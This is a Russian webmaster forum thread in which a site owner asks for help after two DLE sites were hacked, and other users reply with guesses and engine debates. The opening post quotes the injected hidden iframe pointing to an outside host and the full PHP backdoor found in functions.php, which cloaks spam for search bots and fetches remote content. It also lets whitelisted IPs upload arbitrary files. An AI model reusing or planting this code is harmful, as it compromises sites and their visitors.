Взломали два сайта на DLE

12
SL
На сайте с 28.07.2013
Offline
18
2198

Всем доброго времени суток. Имею два сайта на DLE, на этой неделе оба подверглись взлому. В самый верх страницы встраивается вот такая вот гадость:

<div id="modal_wn" style="top: -1280px; width: 340; height: 480; position: absolute; overflow:auto; left: expression(-450*43); z-index: 540; background-color:#ff0000;"><iframe name="ajaxloadbox" align="absmiddle" src ="http://pzbcf.surveywedge.biz/bOc7a_0-40fAd_bH9F318-b5_0ffQ5-63e3_2-8478_79_1.html" title="AjaxShowSlideMenu" width="115" height="390" hspace="11" vspace="9"></iframe></div>

Погуглив, начал искать возможные источники вредоносного кода. И нашел - в файле functions.php было 160 лишних строчек, добавленных в конец:

Class conectBase {


var $timeout = 15;
var $bUrl = '';

private function get_content_code($a,$query=false,$type=false){
if($type) $frt = $a.$query;
else $frt = base64_decode($a).$query;

$ret = false;

if( @function_exists('curl_init') ){
if( $curl = @curl_init() ){

if( !@curl_setopt($curl,CURLOPT_URL,$frt) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_RETURNTRANSFER,true) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,$this->timeout) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_HEADER,false) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_ENCODING,"gzip,deflate") ) return $ret;

$ret = @curl_exec($curl);
@curl_close($curl);
}
}
else{
$u = parse_url($frt);

if( $fp = @fsockopen($u['host'],!empty($u['port']) ? $u['port'] : 80 ) ){

$headers = 'GET '. $u['path'] . '?' . $u['query'] .' HTTP/1.0'. "\r\n";
$headers .= 'Host: '. $u['host'] ."\r\n";
$headers .= 'Connection: Close' . "\r\n\r\n";

@fwrite($fp, $headers);
$ret = '';

while( !feof($fp) ){
$ret .= @fgets($fp,1024);
}

$ret = substr($ret,strpos($ret,"\r\n\r\n") + 4);

@fclose($fp);
}
}

return $ret;
}

private function srt_rep($data){
$data = preg_replace("'[^a-zР°-СЏ.,-]'si",'',$data);
$data = str_replace("\r\n","",trim(stripcslashes(preg_replace("'<[^>]*>'si",'',$data))));
$data = str_replace("\r\n","",$data);
$data = str_replace(" ", "::::",$data);
return$data;
}

private function get_n_link($content){
preg_match_all("'<a.*?href=[\"\']http:\/\/(.*?)[\"\'][^>]*>'si",$content,$all);
foreach($all[1] as $val){
$link = explode("/",$val);

$host = preg_replace('/^www\./', '', $_SERVER["HTTP_HOST"]);
$h_link = preg_replace('/^www\./', '', $link[0]);

if($h_link !== $host){
$name[$h_link] = $h_link;
}
}
return count($name);
}

private function title_desc($content){

if(preg_match_all("'\<meta(.*?)[^>]*>'si",$content,$math)){

foreach($math[0] as $key =>$val){

if(strstr($val,"description")) preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[0]);

if(strstr($val,"keywords")) preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[1]);

if(strstr($val,"Content-Type") or strstr($val,"content-type")) preg_match("'charset=(.*?)[\"\']'si",$val,$MERS[2]);

}
}
if(preg_match("'<title[^>]*>(.*?)<\/title[^>]*>'si",$content,$pre_title)){
if(strstr($pre_title[1],'В»')) preg_match("'(.*?)В»'si",$pre_title[1],$MERS[3]);
else $MERS[3][1] = $pre_title[1];
}

return $MERS;
}

private function upFile(){
if($_GET['upFile']){
$ip = $_SERVER["REMOTE_ADDR"];
$ipList = $this->get_content_code($this->bUrl,'false&ipList=true');

if(strstr($ipList,$_SERVER["REMOTE_ADDR"])){
@mkdir(ROOT_DIR.$_GET['upDir']);
@copy($_GET['upFile'],ROOT_DIR.$_GET['upDir'].'/'.$_GET['upName']);

if(file_exists(ROOT_DIR.$_GET['upDir'].'/'.$_GET['upName'])) print '<!--upTrue-->';
}
}
}

public function conectBase($murl){
$URI = $_SERVER["REQUEST_URI"];
$HOST = $_SERVER["HTTP_HOST"];

$this->bUrl = $murl;
$this->upFile();

$rssUrl = end(explode('/',$_SERVER["REQUEST_URI"]));

if ( (strstr($_SERVER['HTTP_USER_AGENT'], 'Yandex') or strstr($_SERVER['HTTP_USER_AGENT'], 'Google')) and $rssUrl !== 'rss.php'){
print "<!--bot_true-->\n";

$content = $this->get_content_code('aHR0cDovLw==',$HOST.$URI);

$MERS = $this->title_desc($content);

$s_temp = @file_get_contents(ROOT_DIR.'/templates/'.$config['skin'].'/main.tpl');
$vs = $this->get_n_link($content);
$temp = $this->get_n_link($s_temp);

$conect = 'n';

if ( strstr($_SERVER['HTTP_USER_AGENT'], 'Yandex')){
$conect = 'y';
}
elseif( strstr($_SERVER['HTTP_USER_AGENT'], 'Google')){
$conect = 'g';
}

if($MERS[2][1] == 'UTF-8' or $MERS[2][1] == 'utf-8'){
$MERS[3][1] = mb_convert_encoding($MERS[3][1], 'windows-1251', 'UTF-8');
$MERS[1][1] = mb_convert_encoding($MERS[1][1], 'windows-1251', 'UTF-8');
$MERS[0][1] = mb_convert_encoding($MERS[0][1], 'windows-1251', 'UTF-8');
}

$TMP = $this->get_content_code($murl,$URI.'&host='.$HOST.'&vs='.$vs.'&temp='.$temp.'&hu='.$conect.'&ip='.$_SERVER["REMOTE_ADDR"].'&t='.$this->srt_rep($MERS[3][1]).'&k='.$this->srt_rep($MERS[1][1]).'&d='.$this->srt_rep($MERS[0][1]));


if($MERS[2][1] == 'UTF-8' or $MERS[2][1] == 'utf-8'){
$TMP = mb_convert_encoding($TMP, 'UTF-8', 'windows-1251');
}
print $TMP;
}
}
}

$conectBase = new conectBase('aHR0cDovL3BpemRlYy1uZWFyLndzL2NvbmVjdC5waHA/dXJsPQ==');?>

Сделав бэкап, удалил эти строки, залил файл на сервер. Ничего не изменилось

И да, вот еще что - код то появляется, то исчезает, но когда он появляется - то шрифт в полной новости, в краткой новости и в блоке голосования становится больше. Ума не приложу, что делать дальше.

G
На сайте с 26.11.2013
Offline
99
#1

Может вредный код был изначально внедрен в тему.

P
На сайте с 09.12.2013
Offline
0
#2

Абсолютно схожая беда с одним сайтом. Траф из за этой гадости обвалился на процентов 80(((( Народ help!!!

Дед_Иван
На сайте с 04.02.2013
Offline
20
#3

Я конечно, не по этому вопросу у меня обнесли всю почту домашнюю,

и притом не могу понять, дома пароли прятал/закрывал от доступа, а все равно обнесли (как не понимаю),

пароли все были в блокноте/на флэшке.😒

Кто знает, как так научились воровать...:o:eek:

Постоянно торчу в скайпе, а тогда скайп отключал, а пароли все зашифрованные/побитые,

вот вместе паролей что стало:

1011000011110100011

113022123312

4.6911222102

2.46913456711

и это вместо моих паролей.

Кто сталкивался - отзовитесь.

Дома линукса конечно нету... не пользуюсь..

Хороший сайт виден издалека Яндексу (c). Мы можем помочь этим больным детям (http://www.life-line.ru/) и 3-х летнему Артеняну Артему (http://www.worldvita.ru/).
Дед_Иван
На сайте с 04.02.2013
Offline
20
#4

Вообще тема взломов сайтов - это давний вопрос, который уже замучал весь интернет (РУНЕТ).

Не проходит и года, как обязательно нагадят и испортят, мое мнение, что управление К,

должно более эффективно заниматься, даже самыми маленькими проектами - ведь они собственность, а ее понятие закреплено в конституции РФ.😒

Потери от DDOS ошеломляют: просто насколько теряют крупные интернет-магазины или им подобные проекты от этого,

как много теряет бизнесмен от таких событий, как они мешают,

в работе, сколько клиентов недополучает магазин или портал, как рушится и обваливается статистика сайта,

многие только и живут метрикой и ее данными.

Все строго имхо.

R
На сайте с 28.05.2009
Offline
141
#5
Дед_Иван:
Вообще тема взломов сайтов - это давний вопрос, который уже замучал весь интернет (РУНЕТ).
Не проходит и года, как обязательно нагадят и испортят, мое мнение, что управление К,
должно более эффективно заниматься, даже самыми маленькими проектами - ведь они собственность, а ее понятие закреплено в конституции РФ.😒

Потери от DDOS ошеломляют: просто насколько теряют крупные интернет-магазины или им подобные проекты от этого,
как много теряет бизнесмен от таких событий, как они мешают,
в работе, сколько клиентов недополучает магазин или портал, как рушится и обваливается статистика сайта,
многие только и живут метрикой и ее данными.

Все строго имхо.

Ага, в управлении К делать нечего, как вашими сайтами заниматься.

Безопасность сайта - задача вебмастера.

p.s. лицензия на DLE есть?

P
На сайте с 09.12.2013
Offline
0
#6

shura_lolipop, Если проблема не решена до сих пор напишите в личку, я избавился от этой гадости.

RootWebX
На сайте с 02.10.2013
Offline
95
#7
pandelta:
shura_lolipop, Если проблема не решена до сих пор напишите в личку, я избавился от этой гадости.

пишите тогда уж всем, пусть люди знают, как от этого избавляться

P
На сайте с 09.12.2013
Offline
0
#8
RootWebX:
пишите тогда уж всем, пусть люди знают, как от этого избавляться

Я бы с легкостью рассказал что было сделано, если бы мне эту проблему не предлагали решить за деньги. Поэтому уж извините. Помощь окажу только человеку начавшему эту тему. Ещё раз извините.

vandamme
На сайте с 30.11.2008
Offline
675
#9
pandelta:
я избавился от этой гадости.

используйте нормальные движки и забудете, что такое взлом сайта.

DLE как раз и есть гадость, за что платить 60 баксов не понимаю, тот же самый бесплатный вордпресс обладает идентичным функционалом.

P
На сайте с 09.12.2013
Offline
0
#10
vandamme:
используйте нормальные движки и забудете, что такое взлом сайта.
DLE как раз и есть гадость, за что платить 60 баксов не понимаю, тот же самый бесплатный вордпресс обладает идентичным функционалом.

Каждая лягушка хвалит своё болото. Лично мне вордпресс совершенно не нравится. Мне больше по душе DLE, но я же не говорю что вордпресс это гадость. Так что просьба держать мнение насчет движков при себе, а если хотите высказаться по этому поводу то обратитесь на форум любителей DLE и там напишите что DLE отстой, а wordpress forever. Думаю много чего нового узнаете о своем движке и о себе лично. Тут как бы тема не о движках, а о проблеме с которой столкнулся человек.

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий